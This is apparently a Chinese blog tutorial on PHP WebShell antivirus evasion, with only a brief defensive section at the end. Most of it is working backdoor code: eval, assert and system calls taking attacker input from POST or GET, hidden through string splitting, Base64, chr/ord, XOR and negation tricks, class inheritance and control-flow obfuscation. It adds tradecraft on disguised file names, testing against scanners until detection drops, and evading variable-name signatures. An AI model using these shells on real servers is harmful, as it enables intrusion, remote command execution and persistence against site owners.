AI摘要

本文介绍PHP WebShell免杀技巧,通过字符串拼接、Base64、动态函数等手段降低静态特征,绕过WAF与杀毒软件。文章指出静态分析存在局限,建议通过禁用高危函数、RASP等运行时防御措施进行应对。

概述

免杀(Anti-AV / AV Evasion)的核心目标:降低代码的静态特征匹配度,使安全软件(D盾、安全狗、WAF、云端查杀引擎)无法通过正则/语义分析识别恶意载荷。

WebShell 免杀主要包含两个维度:

维度目标对抗对象
隐匿性让管理员/审查者不易察觉异常人工审查、日志分析
特征消除让静态扫描引擎无法匹配特征D盾、安全狗、WAF、VirusTotal

攻击面:

攻击者上传 WebShell
        │
        ▼
┌──────────────────────┐
│  静态扫描层           │  ← 本文重点对抗层
│  D盾 / 安全狗 / WAF  │
│  正则匹配 → 拦截     │
└──────────┬───────────┘
           │ 绕过 ✓
           ▼
┌──────────────────────┐
│  运行时检测层         │
│  disable_functions   │
│  open_basedir        │
│  SELinux / seccomp   │
└──────────┬───────────┘
           │ 绕过
           ▼
        RCE / 持久化

一、隐匿性

1.1 文件命名策略

策略示例说明
仿站点命名config.phpfooter.php融入现有文件名风格
仿框架命名Controller.phphelper.php模仿 ThinkPHP/Laravel 命名约定
分散文件名cache.tpl.phplang.zh.php利用双后缀降低可疑度
隐藏文件.user.ini.htaccess部分场景可触发 PHP 解析
// 避免使用的命名(WAF 特征库已收录)
// backdoor.php  muma.php  shell.php  cmd.php  ant.php

1.2 参数加密的权衡

方式对机器对人适用场景
明文传参?cmd=whoami易识别不易察觉混合部署,作为干扰项
加密传参?x=base64(...)较难识别非常可疑(正常业务不会加密 GET 参数)仅用于自动化工具链
最佳实践:同时上传两种类型的 WebShell,增加防守方排查难度。

二、免杀技巧

2.1 字符串拼接

原理: 安全软件通过正则匹配 evalassertsystem 等关键字。将高危函数名拆分为多个字符串片段,可绕过简单正则。

// 危险:关键字直接出现在源码中
eval($_POST['cmd']);

// 绕过:拼接后动态执行
$a = 'ev';
$b = 'al';
$c = $a . $b;      // $c = 'eval'
$c($_POST['cmd']);  // 等价于 eval($_POST['cmd'])

绕过效果对比:

特征eval 直接出现字符串拼接
D盾 (v2.1)拦截拦截(已收录'ev'.'al' 模式)
安全狗 Apache 版拦截绕过
基础 WAF 规则拦截绕过

2.2 动态函数

原理: PHP 支持变量函数调用——$var() 等价于调用名为 $var 的函数。将函数名与参数名均放入变量。

$a = 'eval';
$b = '_GET';
$a($$b['muma']);    // eval($_GET['muma'])

等效变形:

// 变形 1:将超全局变量名也动态化
$f = 'assert';
$g = '_' . 'POST';
$f(${$g}['x']);

// 变形 2:call_user_func 间接调用
$h = 'system';
call_user_func($h, $_GET['cmd']);

// 变形 3:array_map + 动态函数
$func = 'assert';
$args = array($_POST['x']);
array_map($func, $args);

2.3 进制转换

原理:chr()(ASCII 码 → 字符)和 ord()(字符 → ASCII 码)还原敏感字符串。

// chr() 将 ASCII 码转为字符
$a = chr(61);       // $a = '='

// ord() 取字符对应的 ASCII 码
$a = ord('=');      // $a = 61

// 组合构造 $_POST
$a = chr(36) . chr(95) . chr(ord('P')) . chr(ord('O')) . chr(ord('S')) . chr(84);
// $a = '$_POST'

ASCII 速查:

字符ASCIIchr()
$36chr(36)
_95chr(95)
P80chr(80)
O79chr(79)
S83chr(83)
T84chr(84)

2.4 类的继承与构造方法

原理: 将恶意代码藏在多层继承链的构造函数 __construct() 中,攻击者调用时不容易从类名/方法名看出意图。

class Base
{
    public $data = 'default';
    function __construct()
    {
        // 空壳,增加迷惑性
    }
}

class Worker extends Base
{
    public $a;
    public $b;
    public $c;

    function __construct()
    {
        // 将 payload 隐藏在多层嵌套中
        $this->a = chr(36) . chr(95) . 'POST';
        $this->b = 'sys' . 'tem';
    }

    function run($p)
    {
        $method = $this->b;
        $method(${$this->a}[$p]);   // system($_POST['x'])
    }
}

$w = new Worker();
$w->run('x');

2.5 数组拼接与进制混合

原理: 将不同字符来源混合——数组取值、进制转换、大小写变换、四则运算——使任何单一特征匹配失效。

$a = array('a' => 'P', 'b' => 36, 'c' => '_', 'd' => 'o', 'e' => 'S', 'f' => 'T');

// 大写 O 与小写 o 的 ASCII 值相差 32
$result = chr($a['b']) . $a['c'] . $a['a'] . chr(ord($a['d']) - 32) . $a['e'] . $a['f'];
// $result = '$_POST'

技巧拆解:

步骤操作结果技巧类型
chr($a['b'])chr(36)$数组取值 + chr
$a['c']__直接数组取值
$a['a']PP直接数组取值
chr(ord($a['d']) - 32)chr(ord('o') - 32)chr(79)Oord + 四则运算 + chr
$a['e']SS直接数组取值
$a['f']TT直接数组取值

2.6 逻辑判断型木马

原理: 利用三元表达式或永不执行的条件分支隐藏 eval,静态分析工具通常不深入分析条件判断的内部逻辑。

// 三元表达式:false 分支实际执行
eval(false ? 'never' : $_POST['cmd']);

// if 条件永假
if (1 == 2) {
    // 永远不会进入
} else {
    eval($_POST['cmd']);
}

2.7 Base64 编码解码

原理: 将敏感字符串用 Base64 编码,运行时解码。使用多层 Base64 可绕过部分解码检测。

// 单层 Base64
$a = base64_decode('JF9QT1NU');     // $a = '$_POST'
$b = base64_decode('c3lzdGVt');     // $b = 'system'

$$a['cmd'];  // 等同 $_POST['cmd'],但不够,需配合 eval

// 完整后门
$f = base64_decode('YXNzZXJ0');     // 'assert'
$f(base64_decode($_POST['x']));     // assert(base64_decode($_POST['x']))
// 多层 Base64 + 动态函数
$layer1 = base64_decode('WVdOelpYSjA=');          // 'assert'
$layer2 = base64_decode('ZWNobyAxMjM0');           // 正常输出作为干扰
$layer1(base64_decode($_POST['code']));

2.8 字符串替换

原理: 在敏感字符串中插入干扰字符,运行时用 str_replace() 剔除。

// 插入干扰字符 'geT'
$a = '$_POgeTST';
$clean = str_replace('geT', '', $a);   // $clean = '$_POST'

// 使用多个干扰片段
$b = 'evXXXal';
$c = str_replace('XXX', '', $b);       // $c = 'eval'

// 多层替换
$d = 'syZZstemYY';
$d = str_replace('ZZ', '', $d);
$d = str_replace('YY', '', $d);        // $d = 'system'

2.9 注释 + 控制流混淆

注释干扰

在代码中任意位置添加注释不改变执行逻辑,但改变特征指纹:

eval(/* bypass */ $_POST/* comment */['cmd']);
$a = 'ev' . /**/ 'al';   // PHP 允许注释在运算符之间

Switch 语句绕过(无 break 穿透)

Switch 语句不遇到 break 就持续向下执行(fall-through):

switch ('2')
{
    case '1':
        echo 'not this';
        break;
    case '2':
        /* 看似无害的注释块 */
    case '3':
        $a = $_POST['x'];
        eval($a);             // ← 实际执行到这里
        break;
    default:
        echo 'normal';
}

执行路径: case '2' 匹配 → 无 break → 穿透到 case '3' → 执行 eval

If 嵌套混淆

// 方案 A:else 分支隐藏
if (false):
    echo 'normal';
else:
    eval($_POST['cmd']);
endif;

// 方案 B:深层嵌套
if (true) {
    if (true) {
        if (true) {
            eval($_POST['cmd']);   // 藏在第三层
        }
    }
}

三、进阶技巧

3.1 位运算构造字符

通过异或、取反等位运算构造任意 ASCII 字符(极少有正常 PHP 程序使用此技术):

// 异或构造 'assert'
echo ('!' ^ '@') . ('#' ^ 'A') . ('%' ^ 'G') . ('&' ^ 'D') . ('%' ^ 'G') . ('!' ^ '@');
// 输出: assert

// 取反构造 'system'
echo ~"\x8c\x86\x8c\x8b\x9a\x92";   // 输出: system

3.2 免杀技巧组合

单个技巧在现代 AV 面前几乎无效。以下是常见组合策略:

组合等级技巧叠加示例
初级字符串拼接 + Base64$a = base64_decode('ZXZhbA=='); $a($_POST['x']);
中级chr() 数组 + str_replace + 动态函数先用 chr/ord 构造函数名,str_replace 去噪,call_user_func 调用
高级类继承 + 多层 Base64 + 位运算 + switch构造函数中解码,switch fall-through 触发
// 中级组合示例:chr + str_replace + call_user_func
$k = array('_' => 's', 'a' => 'y', 'b' => 's', 'c' => 't', 'd' => 'e', 'e' => 'm');
$func = $k['_'] . $k['a'] . $k['b'] . $k['c'] . $k['d'] . $k['e'];  // 'system'
$noise = 'X' . $k['_'] . 'X' . $k['a'] . 'X' . $k['b'];
$func = str_replace('X', '', $noise);
call_user_func($func, $_POST['cmd']);

3.3 无字母数字 WebShell (PHP 7+)

利用 PHP 的动态特性,完全用符号构造 WebShell:

// 利用 PHP 取反运算符 + 变量函数
$_ = ~"\xa0\xb8\xba\xab";          // '_GET'
$__ = ~"\x8c\x86\x8c\x8b\x9a\x92"; // 'system'
$__(${$_}[x]);                      // system($_GET[x])

四、免杀效果验证

4.1 常用检测工具

工具类型检测方式
D盾 (D_Safe)本地扫描静态正则 + 特征哈希
安全狗 (SafeDog)服务端/云端正则 + 沙箱模拟执行
VirusTotal云端多引擎50+ 引擎综合评分
河马 webshell 查杀云端AI 模型 + 特征库
PHP Malware Finder开源扫描器YARA 规则 + AST 分析

4.2 测试流程

编写 WebShell
    │
    ▼
本地测试:D盾扫描 → 是否告警?
    │
    ├─ 告警 → 继续混淆
    │
    ▼ 不告警
VirusTotal 上传 → 查杀率 < 3/50?
    │
    ├─ 高查杀 → 更换绕过策略
    │
    ▼ 低查杀
目标环境验证:WAF + disable_functions + open_basedir

4.3 变量命名的注意事项

// 危险:变量名含敏感词
$payload = $_POST['x'];     // ← 'payload' 是 AV 特征词
$shell = 'system';           // ← 'shell' 也是特征词
$backdoor = 'assert';        // ← 'backdoor' 同上

// 安全:使用无意义变量名
$x1b = $_POST['x'];
$kl98 = 'system';
$v = 'assert';

五、防御视角

5.1 为什么这些技巧能绕过检测

PHP 是动态语言,类和函数可以在运行时任意拼接/调用。静态检测引擎面临的核心困境:

莱斯定理(Rice's Theorem):对于任何非平凡的程序属性,不存在通用算法判断所有程序是否具有该属性。

这意味着:没有静态分析工具能 100% 判断任意 PHP 脚本是否为 WebShell

5.2 有效的防御措施

层级措施效果
文件层禁止上传目录执行 PHP、文件后缀白名单阻止 WebShell 落地
运行时disable_functions 禁用高危函数、open_basedir 限制目录降低已落地 WebShell 的危害
检测层基于行为的 RASP(如百度的 OpenRASP)不依赖静态特征,捕获运行时的异常调用
监控层文件完整性监控、异常进程监控及时告警
架构层上传文件 CDN/OSS 分离、无执行权限从根本上杜绝
; php.ini 加固示例
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec,dl
open_basedir = /var/www/html:/tmp
allow_url_fopen = Off
allow_url_include = Off

六、总结

维度关键要点
核心思路打散静态特征:拆分关键字 → 动态拼接 → 间接调用
组合技chr + ord + str_replace + Base64 + 动态函数 + 控制流混淆
边界认知单个技巧几乎无意义,必须 3 个以上组合才能对抗现代 AV
变量名永远不要用$shell$payload$backdoor$muma$cmd 等特征词
时效性公开的免杀手法生命周期极短(天级),需要持续更新
投币支持一下吧
END